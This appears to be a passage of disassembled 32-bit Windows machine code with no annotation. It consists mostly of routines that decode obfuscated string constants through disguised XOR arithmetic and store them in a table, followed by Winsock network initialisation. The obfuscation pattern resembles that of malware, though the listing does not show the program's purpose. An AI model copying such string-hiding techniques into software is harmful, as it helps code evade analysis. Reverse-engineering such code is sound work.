and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 8
jmp 0x4630b3
mov esi, dword [esp + 4]
cmp esi, dword [esp]
jne 0x462fe6
mov edi, esi
lea ecx, [eax - 0x551946b8]
lea ebx, [eax + edx]
add ebx, 0xaae6b948
and ecx, edx
mov byte [esp + 8], 8
jmp 0x462d3d
lea ecx, [ebp + 2]
cmp esi, ecx
jne 0x463007
mov dword [esp + 4], esi
lea ecx, [eax + 0x50608920]
lea ebx, [eax + edx]
add ebx, 0x50608920
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x20
jmp 0x462fa8
lea ecx, [ebp + 2]
cmp esi, ecx
jne 0x46302c
mov dword [esp + 4], esi
lea ecx, [eax + 0x775c0fa0]
lea ebx, [eax + edx]
add ebx, 0x775c0fa0
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xa0
jmp 0x462fa8
lea ecx, [ebp + 3]
cmp esi, ecx
jne 0x462c76
lea ecx, [eax + 0x2e1dc038]
lea ebx, [eax + edx]
add ebx, 0x2e1dc038
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x78
dec eax
mov ebp, edi
jmp 0x4630bc
cmp esi, edi
jne 0x462ca4
mov dword [esp + 4], esi
lea ecx, [eax + 0x645ede98]
lea ebx, [eax + edx]
add ebx, 0x645ede98
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xd8
mov edi, ebp
lea esi, [eax + 0x24f93da0]
lea ecx, [eax + edx]
add ecx, 0x24f93da0
and esi, edx
add esi, esi
sub ecx, esi
add cl, 0xa0
mov byte [esp + eax + 0x2f0], cl
mov esi, dword [esp + 4]
sub eax, esi
inc esi
movzx edx, byte [esp + eax + 0x2ee]
add eax, 0xfffffffe
mov ebp, edi
add edx, ebp
add eax, edx
jmp 0x4630bc
lea ecx, [ebp + 4]
cmp esi, ecx
jne 0x46304d
mov edi, esi
lea esi, [eax - 0x44d28a68]
lea ebx, [eax + edx]
add ebx, 0xbb2d7598
and esi, edx
mov cl, 0xd8
jmp 0x46308a
lea ecx, [ebp + 5]
cmp esi, ecx
jne 0x463190
lea ecx, [eax + 0x55cd7290]
lea ebx, [eax + edx]
add ebx, 0x55cd7290
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x10
jmp 0x462fdd
lea ecx, [ebp + 3]
cmp esi, ecx
jne 0x46306e
lea ecx, [eax - 0x7dca1d80]
lea ebx, [eax + edx]
add ebx, 0x8235e280
and ecx, edx
add ecx, ecx
sub ebx, ecx
xor bl, 0x80
jmp 0x4630b5
lea ecx, [ebp + 2]
cmp esi, ecx
jne 0x4630cb
lea ecx, [eax - 0x3f65a0f8]
lea ebx, [eax + edx]
add ebx, 0xc09a5f08
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xc8
jmp 0x4630b3
lea ecx, [ebp + 5]
cmp esi, ecx
jne 0x4630ec
mov edi, esi
lea esi, [eax - 0x72f04aa0]
lea ebx, [eax + edx]
add ebx, 0x8d0fb560
and esi, edx
mov cl, 0x60
add esi, esi
sub ebx, esi
add bl, cl
lea esi, [eax + 0x1cd5df78]
lea ecx, [edx + eax]
add ecx, 0x1cd5df78
and esi, edx
add esi, esi
sub ecx, esi
add cl, bl
add cl, 0xb8
mov byte [esp + eax + 0x2f0], cl
mov esi, edi
add esi, ebp
movzx ecx, bl
not ecx
add eax, ecx
inc eax
cmp eax, 0x22
jb 0x462c47
jmp 0x4631b5
lea ecx, [ebp + 5]
cmp esi, ecx
jne 0x46311e
lea ecx, [eax - 0x39f8b788]
lea ebx, [eax + edx]
add ebx, 0xc6074878
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xb8
jmp 0x4630b5
lea ecx, [ebp + 7]
mov dword [esp + 4], esi
cmp esi, ecx
jne 0x462d99
lea ecx, [eax - 0x6d836130]
lea ebx, [eax + edx]
add ebx, 0x927c9ed0
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x50
mov edi, ebp
mov esi, dword [esp + 4]
jmp 0x462f7c
cmp esi, edi
jne 0x46313f
lea ecx, [eax - 0x348bce18]
lea ebx, [eax + edx]
add ebx, 0xcb7431e8
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xa8
jmp 0x462dbe
lea ecx, [ebp + 0x10]
cmp esi, ecx
jbe 0x463160
lea ecx, [eax - 0x218e9d10]
lea ebx, [eax + edx]
add ebx, 0xde7162f0
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x70
jmp 0x463184
lea ecx, [ebp + 3]
cmp esi, ecx
jne 0x463184
lea ebx, [eax + edx]
add ebx, 0x635dba28
add eax, 0x635dba28
and eax, edx
add eax, eax
sub ebx, eax
add bl, 0xe8
jmp 0x462c37
lea edi, [esp + 0x10ce348]
jmp 0x4631c5
lea edi, [esp + 0x1566e90]
mov dword [esp + 0x26c], 0
mov dword [esp + 0x280], 7
mov word [esp + 0x26c], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x46321d
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x463246
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x46325f
mov dword [esp + 0x27c], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x274]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x26c], 0
jmp 0x4632a6
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x46326e
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x463279
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x27c], esi
mov dword [esp + 0x280], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x26c], edi
movaps xmm0, xmmword [0x473ac0]
movups xmmword [esp + 0xac], xmm0
mov dword [esp + 0xbc], 0x137f156e
mov word [esp + 0xc0], 0x1112
xor eax, eax
mov dword [esp + 0xc6], eax
mov dword [esp + 0xc2], eax
mov dword [esp + 0xcd], eax
mov dword [esp + 0xc9], eax
call fcn.0046d640
mov edi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp edi, eax
ja 0x463527
mov dl, byte [esp + eax + 0xac]
movzx ebx, dl
lea ebp, [ecx + 1]
cmp edi, ebp
jae 0x463348
cmp ecx, eax
ja 0x463539
lea esi, [edi + ecx]
cmp esi, eax
jbe 0x463387
lea esi, [ecx + 2]
cmp edi, esi
jne 0x4633e6
lea esi, [eax + 0x71b28878]
lea edx, [eax + ebx]
add edx, 0x71b28878
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0xb8
jmp 0x4633dc
je 0x46347c
lea esi, [ecx + 2]
cmp edi, esi
je 0x46344c
lea esi, [ecx + 3]
cmp edi, esi
je 0x4633ed
lea esi, [ecx + 5]
cmp edi, esi
jne 0x463311
lea esi, [eax - 0x15d0ecf3]
lea edx, [eax + ebx]
add edx, 0xea2f130d
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0xa5
add edi, ecx
jmp 0x4633ba
cmp esi, 1
je 0x4633ed
mov dword [esp + 4], ebp
lea ebp, [ecx + 2]
mov dword [esp], ebp
cmp edi, dword [esp]
jbe 0x463419
lea edi, [eax + 0x51789868]
mov ebp, ebx
add ebx, eax
add ebx, 0x51789868
and edi, ebp
add edi, edi
sub ebx, edi
add dl, bl
mov ebx, ebp
add dl, 0x28
mov edi, esi
lea esi, [eax + 0x637c3769]
mov ebp, ebx
add ebx, eax
add ebx, 0x637c3769
and esi, ebp
add esi, esi
sub ebx, esi
add bl, dl
add bl, 0x21
mov byte [esp + eax + 0xac], bl
movzx edx, dl
not edx
jmp 0x463481
lea esi, [ecx + 4]
cmp edi, esi
jne 0x463445
lea esi, [eax - 0x787c8a95]
lea edx, [eax + ebx]
add edx, 0x8783756b
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0x13
mov byte [esp + eax + 0xac], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
jmp 0x46344e
mov ebp, dword [esp + 4]
cmp edi, ebp
jne 0x463492
lea edx, [eax + 0x3f74f967]
lea ecx, [eax + ebx]
add ecx, 0x3f74f967
and edx, ebx
add edx, edx
sub ecx, edx
add cl, 0x2f
mov byte [esp + eax + 0xac], cl
dec eax
mov ecx, ebp
jmp 0x463483
lea esi, [ecx + 6]
cmp edi, esi
jne 0x4634bd
mov ebp, ecx
lea edx, [eax - 0x6678eb94]
lea ecx, [eax + ebx]
add ecx, 0x9987146c
and edx, ebx
add edx, edx
sub ecx, edx
add cl, 0xc
mov byte [esp + eax + 0xac], cl
sub eax, edi
inc edi
mov dl, byte [esp + eax + 0xaa]
add eax, 0xfffffffe
mov ecx, ebp
movzx edx, dl
add edx, ecx
add eax, edx
inc eax
cmp eax, 0x25
jb 0x4632f8
jmp 0x463530
mov dword [esp + 8], ebx
lea ebx, [ecx + 5]
cmp edi, ebx
jne 0x4634c9
lea esi, [eax + 0x23085749]
mov ebx, dword [esp + 8]
lea edx, [eax + ebx]
add edx, 0x23085749
and esi, ebx
add esi, esi
sub edx, esi
inc dl
jmp 0x4633dc
lea esi, [ecx + 9]
cmp edi, esi
je 0x46347c
jmp 0x4632e8
cmp edi, dword [esp]
mov ebx, dword [esp + 8]
je 0x4633ed
lea ebx, [ecx + 3]
cmp edi, ebx
jne 0x4634e8
mov ebp, ecx
mov ebx, dword [esp + 8]
jmp 0x46344e
test edi, edi
mov ebx, dword [esp + 8]
jne 0x46339b
cmp ecx, 4
mov ebp, dword [esp + 4]
ja 0x463421
lea esi, [eax + 0x12039f01]
lea edx, [eax + ebx]
add edx, 0x12039f01
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0xf9
mov byte [esp + eax + 0xac], dl
xor edi, edi
jmp 0x463483
lea edi, [esp + 0xf27459]
jmp 0x463540
lea edi, [esp + 0xac]
jmp 0x463540
lea edi, [esp + 0x16ed558]
mov dword [esp + 0x284], 0
mov dword [esp + 0x298], 7
mov word [esp + 0x284], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x463598
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x4635c1
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x4635da
mov dword [esp + 0x294], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x28c]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x284], 0
jmp 0x463621
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x4635e9
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x4635f4
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x294], esi
mov dword [esp + 0x298], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x284], edi
movaps xmm0, xmmword [0x473ad0]
movups xmmword [esp + 0x2cc], xmm0
movaps xmm0, xmmword [0x473ae0]
movups xmmword [esp + 0x2dc], xmm0
mov word [esp + 0x2ec], 0
call fcn.0046d640
mov ebp, dword [eax]
call fcn.0046d646
mov esi, dword [eax]
xor eax, eax
cmp ebp, eax
ja 0x4638e9
mov dl, byte [esp + eax + 0x2cc]
movzx ebx, dl
lea ecx, [esi + 1]
cmp ebp, ecx
jae 0x4636b0
cmp esi, eax
ja 0x4638fb
lea edi, [esi + ebp]
cmp edi, eax
jbe 0x4636e5
lea edx, [esi + 4]
cmp ebp, edx
jne 0x463750
lea esi, [eax - 0x6b7c9bc1]
lea edx, [ebx + eax]
add edx, 0x9483643f
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0x47
mov byte [esp + eax + 0x2cc], dl
jmp 0x4637e3
je 0x463746
lea edi, [esi + 2]
cmp ebp, edi
je 0x46371a
lea edi, [esi + 4]
cmp ebp, edi
jne 0x4637e8
lea ecx, [eax + 0x66d9d683]
lea edx, [eax + ebx]
add edx, 0x66d9d683
and ecx, ebx
add ecx, ecx
sub edx, ecx
add dl, 0x6b
jmp 0x46384b
cmp edi, 4
jne 0x46378a
lea edi, [eax - 0x74a1c21d]
lea edx, [eax + ebx]
add edx, 0x8b5e3de3
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0xcb
mov byte [esp + eax + 0x2cc], dl
movzx edx, dl
not esi
add esi, eax
sub esi, edx
mov eax, esi
mov esi, ecx
lea edx, [eax + 0x914f44c]
lea ecx, [eax + ebx]
add ecx, 0x914f44c
and edx, ebx
add edx, edx
sub ecx, edx
add cl, 0xec
mov byte [esp + eax + 0x2cc], cl
sub eax, ebp
inc ebp
mov dl, byte [esp + eax + 0x2ca]
add eax, 0xfffffffe
movzx ecx, dl
add ecx, esi
jmp 0x463852
lea edx, [esi + 6]
cmp ebp, edx
je 0x4637e3
lea ecx, [esi + 9]
cmp ebp, ecx
je 0x4637e1
lea ecx, [esi + 0x10]
cmp ebp, ecx
jne 0x463649
lea ecx, [eax - 0x935586c]
lea edx, [eax + ebx]
add edx, 0xf6caa794
and ecx, ebx
add ecx, ecx
sub edx, ecx
add dl, 0xf4
jmp 0x46382a
lea edi, [esi + 8]
cmp ebp, edi
jbe 0x4637ce
lea edi, [eax - 0xb7688fb]
mov dword [esp], ebx
mov ebx, dword [esp]
add ebx, eax
add ebx, 0xf4897705
mov dword [esp + 4], ebx
and edi, dword [esp]
add edi, edi
sub dword [esp + 4], edi
mov ebx, dword [esp + 4]
add bl, 0xdd
cmp ebp, 1
ja 0x46380d
cmp ebp, ecx
jne 0x463863
xor ebp, ebp
inc ebp
jmp 0x463746
cmp ebp, ecx
je 0x46368c
lea edi, [esi + 2]
cmp ebp, edi
jne 0x46386c
mov ecx, esi
dec eax
mov esi, ecx
jmp 0x463854
lea edi, [esi + 5]
cmp ebp, edi
jne 0x463672
lea ecx, [eax + 0x62474355]
lea edx, [eax + ebx]
add edx, 0x62474355
and ecx, ebx
add ecx, ecx
sub edx, ecx
add dl, 0xad
jmp 0x46382a
lea edi, [eax + 0x123a1aa8]
mov ebx, dword [esp]
lea ecx, [eax + ebx]
add ecx, 0x123a1aa8
and edi, ebx
add edi, edi
sub ecx, edi
add dl, cl
add dl, 0x68
lea edi, [eax - 0x700f2eef]
lea ecx, [ebx + eax]
add ecx, 0x8ff0d111
and edi, ebx
add edi, edi
sub ecx, edi
add cl, dl
add cl, 0x89
mov byte [esp + eax + 0x2cc], cl
add ebp, esi
movzx ecx, dl
not ecx
add eax, ecx
inc eax
cmp eax, 0x22
jb 0x463659
jmp 0x4638f2
mov byte [esp + eax + 0x2cc], bl
jmp 0x463854
lea edi, [esi + 3]
cmp ebp, edi
jne 0x46388d
lea ecx, [eax - 0x225368e1]
lea edx, [eax + ebx]
add edx, 0xddac971f
and ecx, ebx
add ecx, ecx
sub edx, ecx
add dl, 0x27
jmp 0x46384b
lea edi, [esi + 5]
cmp ebp, edi
jne 0x4638ae
lea ecx, [eax - 0x26e5fc0f]
lea edx, [eax + ebx]
add edx, 0xd91a03f1
and ecx, ebx
add ecx, ecx
sub edx, ecx
add dl, 0x69
jmp 0x46384d
lea edi, [esi + 7]
cmp ebp, edi
je 0x4636ee
lea edi, [eax + 0x7db6b669]
mov dword [esp + 8], edi
lea edi, [eax + ebx]
add edi, 0x7db6b669
mov dword [esp + 4], edi
mov dword [esp], ebx
mov edi, dword [esp + 8]
and edi, ebx
add edi, edi
mov ebx, dword [esp + 4]
sub ebx, edi
add bl, 0x21
jmp 0x4637b9
lea edi, [esp + 0xf947c1]
jmp 0x463902
lea edi, [esp + 0x2cc]
jmp 0x463902
lea edi, [esp + 0x1429158]
mov dword [esp + 0x29c], 0
mov dword [esp + 0x2b0], 7
mov word [esp + 0x29c], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x46395a
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x463983
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x46399c
mov dword [esp + 0x2ac], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x2a4]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x29c], 0
jmp 0x4639e3
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x4639ab
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x4639b6
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x2ac], esi
mov dword [esp + 0x2b0], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x29c], edi
movaps xmm0, xmmword [0x473af0]
movups xmmword [esp + 0x3bc], xmm0
movaps xmm0, xmmword [0x473b00]
movups xmmword [esp + 0x3cc], xmm0
mov dword [esp + 0x3dc], 0
mov word [esp + 0x3e0], 0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov edi, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x463c9b
mov dl, byte [esp + eax + 0x3bc]
movzx ebx, dl
lea ecx, [edi + 1]
cmp esi, ecx
jae 0x463a60
cmp edi, eax
ja 0x463cad
lea ebp, [esi + edi]
cmp ebp, eax
jbe 0x463aa5
lea edx, [edi + 3]
cmp esi, edx
jne 0x463afb
mov edi, ecx
jmp 0x463bb1
je 0x463a99
lea ebp, [edi + 2]
cmp esi, ebp
jne 0x463ad3
mov ecx, edi
lea edi, [eax + 0x7f342a68]
lea edx, [eax + ebx]
add edx, 0x7f342a68
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x28
mov byte [esp + eax + 0x3bc], dl
sub eax, esi
inc esi
mov dl, byte [esp + eax + 0x3ba]
add eax, 0xfffffffe
mov edi, ecx
movzx ecx, dl
add ecx, edi
add eax, ecx
jmp 0x463bb2
cmp esi, ecx
jne 0x463b4c
lea edx, [eax + 0x13638742]
lea ecx, [eax + ebx]
add ecx, 0x13638742
and edx, ebx
add edx, edx
sub ecx, edx
add cl, 0x32
mov byte [esp + eax + 0x3bc], cl
mov edi, esi
jmp 0x463bb1
lea ebp, [edi + 3]
cmp esi, ebp
jne 0x463b78
lea ecx, [eax - 0xabba722]
lea edx, [eax + ebx]
add edx, 0xf54458de
and ecx, ebx
add ecx, ecx
sub edx, ecx
add dl, 0xee
jmp 0x463b99
lea edx, [edi + 2]
cmp esi, edx
je 0x463bb1
lea edx, [edi + 5]
cmp esi, edx
jne 0x463bc1
lea ecx, [eax - 0x6de46a28]
lea edx, [eax + ebx]
add edx, 0x921b95d8
and ecx, ebx
add ecx, ecx
sub edx, ecx
add dl, 0x18
lea esi, [eax - 0x27e29de2]
lea ecx, [ebx + eax]
add ecx, 0xd81d621e
and esi, ebx
add esi, esi
sub ecx, esi
add cl, dl
add cl, 0x2e
mov byte [esp + eax + 0x3bc], cl
jmp 0x463b9b
lea ecx, [edi + 2]
cmp esi, ecx
je 0x463bb1
lea ecx, [edi + 6]
cmp esi, ecx
jne 0x463be2
lea ecx, [eax - 0x73804ba2]
lea edx, [eax + ebx]
add edx, 0x8c7fb45e
and ecx, ebx
add ecx, ecx
sub edx, ecx
add dl, 0x6e
jmp 0x463b99
lea ebp, [edi + 5]
cmp esi, ebp
jne 0x463ba6
lea ecx, [eax - 0x4601cc46]
lea edx, [eax + ebx]
add edx, 0xb9fe33ba
and ecx, ebx
add ecx, ecx
sub edx, ecx
add dl, 0xea
add esi, edi
mov ebp, esi
movzx ecx, dl
not ecx
add eax, ecx
mov esi, ebp
jmp 0x463bb2
lea ebp, [edi + 4]
cmp esi, ebp
jne 0x463a3f
dec eax
inc eax
cmp eax, 0x26
jb 0x463a26
jmp 0x463ca4
lea edx, [edi + 9]
cmp esi, edx
jne 0x463c1e
lea ecx, [eax + 0x56d570b4]
lea edx, [eax + ebx]
add edx, 0x56d570b4
and ecx, ebx
add ecx, ecx
sub edx, ecx
add dl, 0x14
jmp 0x463b9b
lea ecx, [edi + 5]
cmp esi, ecx
je 0x463a69
lea ecx, [edi + 4]
cmp esi, ecx
je 0x463a99
cmp esi, 5
ja 0x463c7c
lea edx, [eax - 0x1da31292]
lea ecx, [eax + ebx]
add ecx, 0xe25ced6e
and edx, ebx
add edx, edx
sub ecx, edx
add cl, 0xfe
mov byte [esp + eax + 0x3bc], cl
jmp 0x463bb2
lea edx, [edi + 0x20]
cmp esi, edx
jne 0x463c42
lea ecx, [eax + 0x1b8f4b90]
lea edx, [eax + ebx]
add edx, 0x1b8f4b90
and ecx, ebx
add ecx, ecx
sub edx, ecx
add dl, 0x10
jmp 0x463b99
lea edx, [edi + 0x10]
cmp esi, edx
jne 0x463a16
lea ebp, [eax - 0x6328c306]
lea edx, [eax + ebx]
add edx, 0x9cd73cfa
and ebp, ebx
add ebp, ebp
sub edx, ebp
add dl, 0x2a
mov byte [esp + eax + 0x3bc], dl
movzx edx, dl
not edi
add edi, eax
sub edi, edx
mov eax, edi
jmp 0x463a6b
lea esi, [eax - 0xa3f8b50]
lea ecx, [eax + ebx]
add ecx, 0xf5c074b0
and esi, ebx
add esi, esi
sub ecx, esi
add dl, cl
add dl, 0x30
jmp 0x463b29
lea edi, [esp + 0x4c7712]
jmp 0x463cb4
lea edi, [esp + 0x3bc]
jmp 0x463cb4
lea edi, [esp + 0x16f89a4]
mov dword [esp + 0x2b4], 0
mov dword [esp + 0x2c8], 7
mov word [esp + 0x2b4], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x463d0c
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x463d35
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x463d4e
mov dword [esp + 0x2c4], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x2bc]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x2b4], 0
jmp 0x463d95
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x463d5d
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x463d68
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x2c4], esi
mov dword [esp + 0x2c8], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x2b4], edi
xor eax, eax
mov dword [0x4786bc], eax
mov dword [0x4786c0], eax
mov dword [0x4786c4], eax
mov edi, 0x1f8
push edi
call fcn.004716fe
add esp, 4
mov esi, eax
mov dword [0x4786bc], eax
mov dword [0x4786c0], eax
add edi, eax
mov dword [0x4786c4], edi
xor ebx, ebx
xor eax, eax
mov dword [esi + ebx], eax
mov dword [esi + ebx + 0x10], eax
mov dword [esi + ebx + 0x14], eax
cmp dword [esp + ebx + 0xe8], 8
jb 0x463dea
mov eax, dword [esp + ebx + 0xd4]
jmp 0x463df2
lea eax, [esp + ebx]
add eax, 0xd4
mov edi, dword [esp + ebx + 0xe4]
cmp edi, 7
ja 0x463e0c
movups xmm0, xmmword [eax]
movups xmmword [esi + ebx], xmm0
mov ebp, 7
jmp 0x463e57
mov dword [esp], eax
mov ebp, edi
or ebp, 7
mov eax, 0x7ffffffe
cmp ebp, eax
cmovae ebp, eax
lea eax, [ebp + 2]
add eax, ebp
cmp ebp, 0x7ff
jb 0x463e37
push eax
call fcn.0040130b
jmp 0x463e3d
push eax
call fcn.004716fe
add esp, 4
mov dword [esi + ebx], eax
lea ecx, [edi + edi]
add ecx, 2
push ecx
push dword [esp + 4]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esi + ebx + 0x10], edi
mov dword [esi + ebx + 0x14], ebp
add ebx, 0x18
cmp ebx, 0x1f8
jne 0x463dca
add esi, ebx
mov dword [0x4786c0], esi
mov esi, 0x1f8
mov ecx, dword [esp + esi + 0xd0]
cmp ecx, 8
jb 0x463ebc
mov eax, dword [esp + esi + 0xbc]
lea edx, [ecx + ecx]
add edx, 2
cmp edx, 0x1000
jb 0x463eb2
mov edx, eax
add edx, 0xfffffffc
mov eax, dword [eax - 4]
sub edx, eax
cmp edx, 0x20
jae 0x463efb
add ecx, ecx
add ecx, 0x25
mov edx, ecx
push edx
push eax
call fcn.00471733
add esp, 8
mov dword [esp + esi + 0xcc], 0
mov dword [esp + esi + 0xd0], 7
mov word [esp + esi + 0xbc], 0
add esi, 0xffffffe8
jne 0x463e7b
push 0x463f01
call fcn.00471a0a
add esp, 0x55c
pop esi
pop edi
pop ebx
pop ebp
ret
call fcn.00401301
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edi
push esi
mov esi, dword [0x4786bc]
test esi, esi
je 0x463fae
mov edi, dword [0x4786c0]
cmp esi, edi
je 0x463f73
mov ecx, dword [esi + 0x14]
cmp ecx, 8
jb 0x463f53
mov eax, dword [esi]
lea edx, [ecx + ecx]
add edx, 2
cmp edx, 0x1000
jb 0x463f49
mov edx, eax
add edx, 0xfffffffc
mov eax, dword [eax - 4]
sub edx, eax
cmp edx, 0x20
jae 0x463fb1
push edx
push eax
call fcn.00471733
add esp, 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], 0
add esi, 0x18
cmp esi, edi
jne 0x463f1b
mov esi, dword [0x4786bc]
mov eax, dword [0x4786c4]
sub eax, esi
cmp eax, 0x1000
jb 0x463f93
mov ecx, dword [esi - 4]
sub esi, ecx
add esi, 0xfffffffc
cmp esi, 0x20
jae 0x463fb1
add eax, 0x23
mov esi, ecx
push eax
push esi
call fcn.00471733
add esp, 8
xor eax, eax
mov dword [0x4786bc], eax
mov dword [0x4786c0], eax
mov dword [0x4786c4], eax
pop esi
pop edi
ret
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ebp
push ebx
push edi
push esi
sub esp, 0x24c
mov esi, dword [0x4786c8]
test esi, esi
jne 0x46413a
push ebp
push ebx
push edi
push esi
sub esp, 0x7a0
mov esi, dword [0x4786bc]
mov edi, dword [0x4786c0]
cmp esi, edi
je 0x464f86
push esi
call 0x463fb7
add esp, 4
add esi, 0x18
jmp 0x464f74
mov esi, 0x800000
push esi
call fcn.00471764
add esp, 4
mov edi, eax
push 0
push esi
push eax
call fcn.00471626
add esp, 0xc
mov esi, eax
push eax
call fcn.004497fc
add esp, 4
push esi
call fcn.00471691
add esp, 4
lea eax, [esp + 0x610]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x46530f
xorps xmm0, xmm0
movups xmmword [esp + 0xda], xmm0
movups xmmword [esp + 0xce], xmm0
mov word [esp + 0xcc], 0x65b9
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x465685
mov dl, byte [esp + eax + 0xcc]
movzx edi, dl
lea ebx, [ecx + 1]
cmp esi, ebx
jae 0x465063
cmp ecx, eax
ja 0x465971
lea ebp, [esi + ecx]
cmp ebp, eax
jbe 0x465091
lea ebp, [ecx + 5]
cmp esi, ebp
je 0x4650c6
mov ebp, esi
cmp esi, ebx
je 0x4650e7
lea ebp, [ecx + 0x10]
cmp esi, ebp
jne 0x4651d0
lea ebx, [eax + 0x653773f8]
lea edx, [eax + edi]
add edx, 0x653773f8
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x38
jmp 0x46519d
je 0x465233
lea ebp, [ecx + 2]
cmp esi, ebp
jne 0x465136
lea ebx, [eax + 0x1614043b]
lea edx, [eax + edi]
add edx, 0x1614043b
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x63
jmp 0x46519b
lea ebp, [ecx + 4]
cmp esi, ebp
jae 0x4650ef
mov dword [esp], ecx
mov dword [esp + 4], ebp
lea ebp, [eax - 0x725b456f]
lea ecx, [eax + edi]
add ecx, 0x8da4ba91
and ebp, edi
add ebp, ebp
sub ecx, ebp
add cl, 9
mov dword [esp + 8], ecx
cmp esi, ebx
mov ecx, dword [esp]
jne 0x46515b
lea edx, [eax - 0x2b8efa9]
lea ecx, [eax + edi]
add ecx, 0xfd471057
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0x9f
mov byte [esp + eax + 0xcc], cl
mov ebp, ebx
dec eax
mov ecx, ebp
jmp 0x46523a
